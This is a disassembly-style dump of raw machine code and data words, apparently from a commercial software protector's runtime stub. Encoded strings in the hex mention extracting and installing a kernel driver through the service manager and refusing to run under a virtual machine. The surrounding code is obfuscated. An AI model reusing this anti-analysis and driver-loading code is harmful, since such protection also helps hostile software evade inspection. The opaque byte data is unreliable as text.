65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 70580000h, 45746F72h, 746E6576h, 0Bh dup(0) dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch dd 0 dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh dd 68742072h, 65207369h, 726F7272h, 0 dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h dd 656E6968h, 70h dup(0) dd 100000h, 1000000h, 0FEFFFF00h, 17Fh, 100h, 24A00h, 1000000h dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h dd 21h dup(0) dd 0C48B0000h, 8810Fh, 0F570000h, 81h, 85895900h, 61B1C79h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 68C35545h dd 0F3CDCFDh, 0E8Ah, 9D296000h, 61B1CB5h, 2A0D9589h, 8B61061Bh dd 9E9C0h, 0A6010000h, 4C2C0919h, 83582CB5h, 1B23D1BDh dd 9750006h, 3129BD83h, 7400061Bh, 8B535019h, 43DB8C0h dd 85890000h, 61B2DA1h, 0A64D9D8Dh, 0D3FF061Dh, 0BD83585Bh dd 61B3129h, 50177400h, 43DB853h, 85890000h, 61B2DA1h dd 0A33C9D8Dh, 0D3FF061Dh, 6A585Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 935B82C3h dd 549C066Ch, 418D8B66h, 66061B13h, 8529FE8Bh, 61B1259h dd 8D33C08Bh, 61B01E9h, 0BD89C08Bh, 61B256Dh, 0E412EA81h dd 0BD837283h, 61B23D1h, 83097500h, 1B3129BDh, 13740006h dd 0C08B5350h, 0B8h, 0EF9D8D00h, 0FF061DA4h, 83585BD3h dd 1B3129BDh, 11740006h, 0B85350h, 8D000000h, 1DA3A09Dh dd 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0CE9C7C0h, 0CC000000h, 773C44E0h dd 88A07890h, 66501536h, 0BA365ABAh, 74972515h, 13E8C08Bh dd 0DD000000h, 0B94FAB25h, 40C05436h, 8923D22Ah, 0B0236B10h dd 958B3C63h, 61B3191h, 8BC08B59h, 1B227DBDh, 0D1BD8306h dd 61B23h, 0BD830975h, 61B3129h, 50137400h, 0B8C08B53h dd 0 dd 0A4219D8Dh, 0D3FF061Dh, 0BD83585Bh, 61B3129h, 50117400h dd 0B853h, 9D8D0000h, 61DA36Eh, 585BD3FFh, 6820Fh, 8D290000h dd 61B0F15h, 8F5B531h, 0C08B061Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0A5C35343h, 0FBA3FA0h, 1BAD8D8Bh dd 0BD03061Bh, 61B0F05h, 0B529C08Bh, 61B2C35h, 23D1BD83h dd 7500061Bh, 29BD8309h, 61B31h, 53501374h, 0B8C08Bh, 8D000000h dd 1DA4889Dh, 5BD3FF06h, 29BD8358h, 61B31h, 53501174h dd 0B8h, 879D8D00h, 0FF061DA3h, 0BF585BD3h, 33150C90h dd 14E9h, 81E92F00h, 0CDC85C13h, 0DD275809h, 8B90C004h dd 4CD3E35Fh, 51E28112h, 60334A51h, 0E781F48Ah, 74E5B1BBh dd 6AC08B61h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 9B1FC353h, 0D2BA17A7h, 8B48F3DCh dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 75D54383h, 0E8F954D2h, 5, 0F4CDF5F7h, 0C1816657h dd 8359998Ah, 1B23D1BDh, 9750006h, 3129BD83h, 7400061Bh dd 8B535013h, 0B8C0h, 9D8D0000h, 61DA3BAh, 585BD3FFh, 959BD89h dd 0DE9061Bh, 98000000h, 0E8199737h, 0AD011D2Ch, 55610E3Ch dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 9F296FC3h, 0E980C08Bh, 0D1BD83A2h, 61B23h dd 0BD830975h, 61B3129h, 50197400h, 0B8C08B53h, 7D0h, 2DA18589h dd 9D8D061Bh, 61DA64Dh, 585BD3FFh, 3129BD83h, 7400061Bh dd 0B8535017h, 7D0h, 2DA18589h, 9D8D061Bh, 61DA33Ch, 585BD3FFh dd 66FBB70Fh, 0C08BD38Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0ECC35343h, 9569BF66h, 9D85C6FCh, 53061B23h dd 5E9h, 8672D000h, 906838F8h, 6A99395Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 340EC357h dd 2CD5C8D4h, 0C9C28166h, 0F9B5FF9Fh, 81061B2Bh, 9F2F8D9h dd 1F858D33h, 0E8061B39h, 14h, 630027A5h, 0E667CCCCh, 0F291507Eh dd 6B6B980Ch, 51439FBCh, 60D98166h, 0D0FF59E3h, 1675B589h dd 8589061Bh, 61B2F85h, 24818D89h, 85C6061Bh, 61B239Dh dd 11E857h, 28C00000h, 0A2FDDE73h, 31A7A57Fh, 664492E2h dd 0E9D54D9Fh, 14h, 3ECA620Eh, 8EA04EF4h, 0E2990F33h, 0FAE14BAAh dd 0FAC78DA9h, 8128B95Ah, 66868A4h, 0E8900452h, 0Bh, 0E9AF98D0h dd 0DE3C101h, 59C50EB8h, 2BF9B5FFh, 0BE9061Bh, 0AB000000h dd 41FF4786h, 34F26920h, 858DF478h, 61B391Fh, 0EC9BD89h dd 0D0FF061Bh, 0F9DA8166h, 5858940h, 6A061B08h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 8B87C357h, 9589A2B4h, 61B1219h, 239D85C6h, 6A43061Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 3BA5C357h, 0CD958B52h, 5A061B18h, 3199B589h dd 2868061Bh, 66BC9070h, 0FFFE0ABAh, 1B2BF9B5h, 0DD958906h dd 8D061B0Eh, 1B391F85h, 398D2306h, 0FF061B00h, 0CF8B66D0h dd 2BE18589h, 6A061Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 596457C3h, 0DD38F480h, 518D03BFh dd 8B061B07h, 1B02A195h, 9D85C606h, 4C061B23h, 2595BD01h dd 0E968061Bh, 6AD9DA1Ch, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0A1BEC353h, 0C0CB2C0Eh dd 2E7FB951h, 0AE800E7h, 6A000000h, 0E081047Ch, 24A622E3h dd 0D38B60E6h, 35DB533h, 5A61061Bh, 2BF9B5FFh, 0B589061Bh dd 61B0865h, 391F858Dh, 0BF0F061Bh, 8BD0FFD3h, 1B041195h dd 71858906h, 6A061B1Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 0FDCC357h, 85C6D3BFh dd 61B239Dh, 8BCB8B46h, 1B076195h, 6146806h, 0ECB1BADEh dd 2BF9B5FFh, 6A061Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 1C3098C3h, 890F602Fh, 6, 0BC9858Bh dd 0C480061Bh, 858D611Ch, 61B391Fh, 60F9B70Fh, 0EE8h, 150DEE00h dd 3C195325h, 4895177Ah, 8930FCFDh, 1B11B18Dh, 0FF615906h dd 8589F5D0h, 61B2539h, 0D89958Bh, 85C6061Bh, 61B239Dh dd 0BDB96647h, 0B5E268E0h, 6A8A0Fh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0E5B6DBC3h dd 880Fh, 0B5FF0000h, 61B2BF9h, 12E8h, 0FF165700h, 1D330446h dd 0DCE9900Eh, 749C2668h, 8021C615h, 8D59FCF6h, 1B391F85h dd 4E22BA06h, 0D0FF7095h, 1059D29h, 8589061Bh, 61B2F2Dh dd 2295BD8Bh, 8D89061Bh, 61B2F81h, 239D85C6h, 6647061Bh dd 0F368FA8Bh, 6A83D0B5h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 2398C357h, 0F9B5FFCFh dd 0E9061B2Bh, 0Bh, 64958B36h, 3CDA0E67h, 8D6E3C8Dh, 1B391F85h dd 0BFC68006h, 9E9D0FFh, 0D2000000h, 1A2B305Dh, 75854021h dd 2C1D8589h, 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 0B5A759C3h, 8EA95D15h, 6062259Ah dd 5860Fh, 70B90000h, 6047A43Dh, 0B58BDD8Ah, 61B326Dh dd 85C66161h, 61B239Dh, 0BE877h, 38000000h, 303A3C59h dd 8C19038Eh, 5AFB8B1Bh, 97A8A368h, 11BD89F3h, 0FF061B0Eh dd 1B29B5B5h, 0D9816606h, 858D9DEAh, 61B391Fh, 0FFD7BF0Fh dd 0D38DBFD0h, 85897C55h, 61B2D71h, 3A1BD8Bh, 85C6061Bh dd 61B239Dh, 2FE28047h, 28FAF668h, 0F9B5FF87h, 80061B2Bh dd 858D24E9h, 61B391Fh, 0DD18D8Bh, 0D0FF061Bh, 12A5BD01h dd 8589061Bh, 61B1695h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 37C35242h, 0FCE9707Ah, 0B59E01FCh, 0CE8B66BBh dd 239D85C6h, 0E943061Bh, 14h, 4C4C6BEh, 0FFE6109h, 4D1AFFBAh dd 85F3AFA2h, 0FBC4DB06h, 8E6EFC68h, 56006ABCh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0FE9013Fh dd 0CF000000h, 442B9A2Ch, 0E988B999h, 0C846BB64h, 0B5FF6687h dd 61B2BF9h, 0A3CAEA81h, 858D121Bh, 61B391Fh, 0D0FF37B5h dd 0FE9h, 89AA7800h, 0F373ABE9h, 265D4089h, 46973EBFh dd 2B218589h, 85C6061Bh, 61B239Dh, 0DF816645h, 6968065Fh dd 0E98E7269h, 7, 0EFFB6429h, 0FF72DC8Bh, 1B2BF9B5h, 14E806h dd 0FDA10000h, 50994D9Bh, 0C7CF7BE2h, 0F3D7522Ch, 5B24E14Dh dd 59F93EADh, 391F858Dh, 0B589061Bh, 61B2385h, 0CE9D0FFh dd 7D000000h, 1CDCDDEFh, 22B05C1Bh, 89106CA5h, 1B2FBD85h dd 10E906h, 479D0000h, 2D9941Ch, 7B947681h, 55183889h dd 86BAC92Bh, 0C62651FEh, 1B239D85h, 19BA4406h, 5348C897h dd 0E198D29h, 6859061Bh, 0B8F2EC64h, 0CDA9BF66h, 2BF9B5FFh dd 860F061Bh, 5, 0AAE28166h, 1F858DCEh, 6A061B39h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 6419C356h, 31A8ECABh, 60FB8B66h, 7E9h, 2CCB3800h, 0CF030496h dd 6AD0FF61h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0FEEFC356h, 23FC568Dh, 25858913h, 66061B30h, 8B32B3B9h dd 1B0859BDh, 9D85C606h, 43061B23h, 68D0BF0Fh, 0C0764AA7h dd 49958B52h, 59061B30h, 2BF9B5FFh, 0CF81061Bh, 4C19BDEBh dd 391F858Dh, 958B061Bh, 61B211Dh, 840FD0FFh, 6, 0C01958Bh dd 8589061Bh, 61B1A09h, 9BEDBA66h, 0FA5EBD80h, 0F00061Dh dd 0AB84h, 8B666000h, 0E1F781F2h, 61028797h, 0FA40858Dh dd 0FE8061Dh, 0FB000000h, 0A92E0315h, 0EF15CF39h, 1E81DA85h dd 958989F6h, 61B2915h, 8E8505Ah, 5C000000h, 5809CDC8h dd 8B04DD27h, 1B2FE195h, 0B9665A06h, 16A41DAh, 1661BD89h dd 6A061Bh, 0B860Fh, 2B600000h, 1B1D599Dh, 0FEBF0F06h dd 0E9006A61h, 7, 0A65E189Bh, 0FFF513E8h, 1B2BE195h, 11858906h dd 89061B0Fh, 1B211185h, 8FB86006h, 8A4A385Eh, 26B661CBh dd 92B5FF6Ah, 2111B5FFh, 8589061Bh, 61B10B9h, 6FD78166h dd 595FF9Dh, 66061B08h, 2EEED281h, 958BC08Bh, 61B1A35h dd 23D1BD83h, 7500061Bh, 29BD8309h, 61B31h, 53501974h dd 0D1B8C08Bh, 89000007h, 1B2DA185h, 4D9D8D06h, 0FF061DA6h dd 83585BD3h, 1B3129BDh, 17740006h, 0D1B85350h, 89000007h dd 1B2DA185h, 3C9D8D06h, 0FF061DA3h, 0F585BD3h, 8B66D3BFh dd 0BAC08BD0h, 50ED30C2h, 239D85C6h, 8B47061Bh, 0F7C168D3h dd 0C98193C8h, 46ADF553h, 0F055F4B9h, 0F9B5FF09h, 6A061B2Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 7C3DC351h, 143A2881h, 858D9E7Dh, 61B391Fh dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 0E751A6C3h, 8E40C4C2h, 0B56A5193h, 0CE990h dd 0A1D50000h, 25170AFBh, 2A390ADDh, 6A502BE1h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0E53FC355h, 7403BB0Fh, 6830Fh, 8D0B0000h, 61B0895h dd 0FE81858Dh, 5660061Dh, 615EDC8Ah, 9400C7h, 8D8B0000h dd 61B13C9h, 8D0F58h, 8D000000h, 1DFE81B5h, 0DDBD8B06h dd 56061B2Eh, 0D0FFD38Bh, 0DADB529h, 858D061Bh, 61DFE81h dd 6047883h, 1C850Fh, 0BD8B0000h, 61B13BDh, 0C8BAC181h dd 85C77EA0h, 61DFF15h, 1, 0C9B96657h, 0BD835FC0h, 61B0D31h dd 3A850F00h, 8B000000h, 15BD83D1h, 61DFFh, 2B850Fh, 0BD830000h dd 61B11C1h, 1E840F00h, 89000000h, 1B10BD95h, 9185C706h dd 61B0Dh, 56000000h, 17118D8Bh, 315F061Bh, 1B14519Dh dd 0DB8C6606h, 25558D8Bh, 0C3F6061Bh, 0D2840F04h, 0E9000004h dd 11h, 8970DA4Ah, 0FF3BDA17h, 0E9B009D5h, 0B0C5AA3Ch dd 0D585C7D5h, 61B1Ch, 0F9000000h, 0FA6BBD80h, 0F00061Dh dd 0C85h, 9D8D8B00h, 8B061B12h, 1B2FD98Dh, 9D85C606h, 47061B23h dd 2E459D89h, 8668061Bh, 80E3E45Bh, 0B5FFCDC9h, 61B2BF9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0AAC35141h dd 2C33E5FBh, 2B2AB966h, 391F858Dh, 800F061Bh, 6, 20F99D89h dd 890F061Bh, 6, 55E4E281h, 0D0FF4BBFh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 17h, 3CC35747h, 89CAEF14h dd 1B1BADBDh, 0C99D8906h, 68061B01h, 104h, 13E9h, 46FE0600h dd 127AC955h, 7C27C1DDh, 83090653h, 0F699CB73h, 0F459D8Dh dd 8B53061Bh, 0BAD0FFFAh, 1CDB108Ch, 0F45858Dh, 50F9061Bh dd 0FA1D858Dh, 0C981061Dh, 63DA464Eh, 6A50C88Bh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0E754C351h, 17E99529h, 858D061Bh, 61DF0F0h, 318D0160h dd 0F061B2Bh, 5061C6BFh, 21E99D89h, 95FF061Bh, 61B2D71h dd 6A0CC483h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 6A82C351h, 806800h, 36A0000h dd 6A006Ah, 68h, 0F0858D80h, 50061DF0h, 2B2195FFh, 8589061Bh dd 61DFA00h, 239D85C6h, 6847061Bh, 0C7B15E87h, 2BF9B5FFh dd 858D061Bh, 61B391Fh, 6AD0FFh, 0FA00B5FFh, 0D0FF061Dh dd 1CD99589h, 0B589061Bh, 61B2C01h, 37D03Dh, 49830F00h dd 66000000h, 29056CB9h, 1B0CB185h, 0B5FF06h, 8A061DFAh dd 995FFD4h, 8B061B1Ah, 125E9D1h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 22373DC3h dd 30F59D89h, 0CF81061Bh, 508090ACh, 0FA00B5FFh, 6A061Dh dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0A8EB59C3h, 0D68B6646h, 88B0Fh, 810F0000h, 2, 95FFFDB6h dd 61B1A09h, 89CFE580h, 1B2101B5h, 29006A06h, 1B0B8D9Dh dd 66006A06h, 6AC88Bh, 122D8D8Bh, 6A061Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 92C35343h, 8B095E05h dd 1B0B0995h, 8C0F6006h, 6, 8D0Fh, 0BD8B0000h, 61B28C9h dd 66006A61h, 6AA620BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0D08B6698h, 9BF1C181h dd 8166420Dh, 8D6738E1h, 1DFA0485h, 7E906h, 5F8F0000h dd 59E83CC7h, 665750CCh, 6C4EC981h, 2195FF59h, 1061B2Bh dd 1B1D418Dh, 0FFF88306h, 101850Fh, 6FB90000h, 8D25F8EEh dd 1DB59085h, 90B96606h, 90C3B995h, 0D0FF580Ah, 59D38A52h dd 8E0F006Ah, 6, 11C58D89h, 6A061Bh, 711BD8Bh, 6A061Bh dd 6ACB8Bh, 28CDBD89h, 6A061Bh, 0F006AF5h, 858DFBBFh, 61DFA04h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0B6C35343h dd 29022D89h, 1B2F1585h, 8D8B5006h, 61B19D1h, 2B2195FFh dd 8D89061Bh, 61B2B55h, 0FFFF883h, 7685h, 8DCE8B00h, 1DF40CB5h dd 0B4ED8006h, 9F7C858Dh, 6A061Dh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 0D0168EC3h, 0A99DADE8h dd 0E813F2CEh, 0Eh, 1B037074h, 0C77FF495h, 700F141Ch, 9503CD94h dd 61B0BB1h, 0BAD0FF59h, 14A49B89h, 8151006Ah, 0A1F2FCD2h dd 0BF0F5A50h, 0BD95FFD0h, 89061B2Fh, 1B2ED595h, 0CD953306h dd 89061B0Bh, 1DFA0085h, 0FB8BFC06h, 0D08A006Ah, 0F9F8858Dh dd 0B529061Dh, 61B168Dh, 0D0B70F50h, 6A046Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B6AC7C3h dd 68B0FF8h, 29000000h, 1B01ED9Dh, 0B1858D06h, 0E9061B22h dd 0Ah, 0C64727A2h, 46EB5FC3h, 6A500678h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 9530C355h dd 6AEAB5h, 6840Fh, 958B0000h, 61B1D39h, 6E9006Ah, 97000000h dd 0B296F2A3h, 0FF016AA3h, 1DFA00B5h, 0D18B6606h, 8E9h dd 7910C700h, 0E0D2A969h, 2595FFCAh, 66061B30h, 0FDE9CE8Bh dd 8B00001Bh, 1B17B995h, 0A7BF6606h, 6AC08B81h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 421DC356h, 0E8577F04h, 5A2BF0EAh, 10E8h, 10CD100h, 2F7F4C0Eh dd 288F2539h dd 0CC8B7F08h, 0FE8B6694h, 9CCA8159h, 834B11D1h, 1B23D1BDh dd 9750006h, 3129BD83h, 7400061Bh, 8B535019h, 7D2B8C0h dd 85890000h, 61B2DA1h, 0A64D9D8Dh, 0D3FF061Dh, 0BD83585Bh dd 61B3129h, 50177400h, 7D2B853h, 85890000h, 61B2DA1h dd 0A33C9D8Dh, 0D3FF061Dh, 0CE8A585Bh, 0B966C08Bh, 8166345Dh dd 0C7390BD2h, 1B1CD585h, 106h, 0BD8B5300h, 61B23A5h, 0E7B8685Ah dd 0B5FFCEE4h, 61B2DB9h, 391F858Dh, 0D0FF061Bh, 23AD8589h dd 0D468061Bh, 0FFC005DBh, 1B2DB9B5h, 1F858D06h, 0FF061B39h dd 0F18589D0h, 8D061B2Eh, 1DEEA985h, 0B5FF5006h, 61B2BF9h dd 2F2D95FFh, 0C00B061Bh, 0D88B0B74h, 0FE5C858Dh, 0FF50061Dh dd 5C858DD3h, 66061DFEh, 75093883h, 3585C70Ah, 1061B22h dd 0FF000000h, 1B169595h, 0FF2506h, 0F8830000h, 0C70A7305h dd 1B08BD85h, 106h, 6AFE8B00h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0F5B4C357h, 3A01806Ch dd 8B1FDA83h, 1B1199BDh, 0AE906h, 0F0B20000h, 1BB87043h dd 0F4451808h, 0FA6BBD80h, 0F00061Dh, 1685h, 918D8B00h dd 0E9061B17h, 1A6Ch, 859D8B60h, 80061B23h, 836168C4h dd 1B2235BDh, 850F0006h, 0DBh, 68F0Fh, 0B5890000h, 61B2431h dd 0FA35858Dh, 8B66061Dh, 8EB650F8h, 1BA016Ah, 6A0D6B63h dd 85315200h, 61B23C9h, 84F7B95Ah, 6A502Ch, 0C62E6EBFh dd 0FF41B110h, 1B2BE195h, 0DDBD8B06h, 89061B30h, 1DFA5F85h dd 81666006h, 0BAD602F3h, 7BB84ECEh, 66FF6A61h, 8D0FCF8Bh dd 12h, 0DE9h, 51900600h, 46C0AAA9h, 902052B7h, 0B5FFBA2Bh dd 61DFA5Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 41C35747h, 7A66F9C4h, 9379BA39h, 5880F8Ah, 66000000h dd 67ACC181h, 0CE9h, 0ED71A000h, 906C25C4h, 5E077E87h dd 595FF9Bh, 0F061B08h, 1684h, 0BE800h, 84C50000h, 1884539Ah dd 98736201h, 556BBAF8h, 8D591E10h, 1DEE7085h, 13E906h dd 34350000h, 5FEB0615h, 79B4B803h, 0C8134DC5h, 2E5CF9AAh dd 0B531500Ch, 61B29D9h, 1A7195FFh, 6A061Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 6AA08AC3h dd 0C4E04C29h, 0E91BFC6Eh, 11h, 254EB3F1h, 573BB21Eh, 1AE39814h dd 0DCFE5C29h, 0FA858977h, 3061DEEh, 1B304595h, 7D858D06h dd 6A061DEEh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 780EC356h, 0A1759A3Eh, 0A3EFE31Bh dd 76B0BF66h, 0AE850h, 0C6F60000h, 2BBB374Ch, 7CBB0A47h dd 78D6BF60h, 0C2815110h, 46E33B76h, 0B5FF5F61h, 61DEEFAh dd 65D28166h, 2D95FFE4h, 0F061B2Fh, 8589FEB7h, 61B1099h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 6EC35040h dd 0E9609E78h, 7, 0DEAB2ED5h, 89C1EE25h, 1B0ED19Dh, 858D6106h dd 61DEEEBh, 3890Fh, 0B70F0000h, 0C58050C8h, 0FAB5FF02h dd 0E9061DEEh, 0Bh, 0BA6D6E97h, 0FCE65555h, 0FF9C57D3h dd 1B2F2D95h, 0F1816606h, 85898E10h, 61DEF0Eh, 73D3BF66h dd 0EECA858Dh, 6E9061Dh, 0D000000h, 1568015Eh, 0AE95012h dd 0AE000000h, 0B5472C0Ah, 269AC935h, 0FAB5FF3Eh, 6A061DEEh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 5276C356h, 95FF95A9h, 61B2F2Dh, 13E8h, 47F91700h dd 74B843F8h, 300698C1h, 0CA8C92FAh, 0E8DDA338h, 2DB5958Bh dd 895F061Bh, 1DEF0685h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 1B4309C6h, 0B298D0Bh dd 858D061Bh, 61DEEBDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 0FAC35040h, 0FFB7E90Dh, 8B04B271h, 1B3315BDh dd 2810BA06h, 8B505FF4h, 1B21ED8Dh, 0FAB5FF06h, 6A061DEEh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 62B0C353h, 0BA5A5DCCh, 0F921991Ch, 2F2D95FFh dd 0BA66061Bh, 85896268h, 61DEF0Ah, 0EED8858Dh, 8589061Dh dd 61B1431h, 9D8D2950h, 89061B22h, 1B30E5B5h, 0FAB5FF06h dd 66061DEEh, 0FF6A32BAh, 1B2F2D95h, 0B5858906h, 89061B1Bh dd 1B2E7D95h, 8C858D06h, 6A061DEEh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0E68FC353h dd 9F5B0E96h, 0E9CB8B66h, 14h, 6B8F7Eh, 9B1D6E87h, 0BBED7EADh dd 0DC12D329h, 4D6C90CBh, 0F1958950h, 0FF061B11h, 1DEEFAB5h dd 2D95FF06h, 66061B2Fh, 8589FB8Bh, 61DEEFEh, 0BF0F5A57h dd 9B858DFFh, 66061DEEh, 509DA6B9h, 6660CC8Ah, 0FF61CA8Bh dd 1DEEFAB5h, 77E58006h, 58E0Fh, 81660000h, 0FF320ACFh dd 1B2F2D95h, 1A830F06h, 0E8000000h, 11h, 2305E93Bh, 861CF9EAh dd 0E0235BF2h, 0FE8D1635h, 0FEBF0F83h, 2858959h, 0B9061DEFh dd 719F2885h, 10468h, 4D958900h, 8D061B24h, 1DEF9285h dd 258D2906h, 50061B31h, 0D0D958Bh, 858D061Bh, 61DF096h dd 16A18D0Bh, 6A50061Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 311C357h, 0AA18874Ah dd 8B668C29h, 1D95FFC8h, 23061B2Ch, 1B18318Dh, 0FC08506h dd 2285h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0DA58E6E9h, 8064C566h, 1DFA6BBDh dd 850F0006h, 39h, 525FF852h, 212DBD0Bh, 0E959061Bh, 1590h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 48C35040h dd 0A136EC59h, 89F75116h, 1B067DB5h, 35BD8306h, 61B22h dd 1F850Fh, 7E90000h, 21000000h, 0E04E3418h, 0BD834CB6h dd 61DFF15h, 44840F00h, 29000000h, 1B02CD95h, 2F858D06h dd 1061DEFh, 1B19C59Dh, 9E906h, 5C240000h, 0A29ACDEBh dd 0E9D97A06h, 151Ch, 24C98D8Bh, 8B60061Bh, 1B02C98Dh dd 81952906h, 61061B11h, 12E9h, 5DEA8100h, 8D2EE79Ah, 1DEF1A85h dd 21958B06h, 50061B2Dh, 2810Fh, 0CE8B0000h, 0EF92858Dh dd 0B589061Dh, 61B0235h, 55006A50h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 72A61853h, 55662A8Ch dd 0B18D3369h, 83061B07h, 1B2235BDh, 840F0006h, 3Bh, 0F5858B60h dd 81061B12h, 0F67F15DEh, 858D6103h, 61DF0B8h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D6C35343h, 0E95FF957h dd 32h, 8DFFBF0Fh, 1DF0A185h, 49BD8B06h, 0E8061B1Ah, 7 dd 0D5F819C7h, 0E95CEA5Ch, 11h, 6684417Bh, 213B545Fh, 0D05F0217h dd 0D284BD3Bh, 0F50598Dh, 385h, 8DDD8000h, 0D4E6BF66h dd 0F0F0858Dh, 6A061Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 5417B3C3h, 0F76D6D33h, 501BD980h dd 0FFF8EA80h, 1B2D7195h, 0BABA6006h, 0E87D944Ch, 5, 8DBC41C3h dd 0DE8BCh, 9C260000h, 21C61574h, 25DA2134h, 5E43D7A2h dd 0C483615Fh, 52006A10h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h dd 1504h, 0C3524200h, 0C08B3D11h, 10E8h, 20C2EB00h, 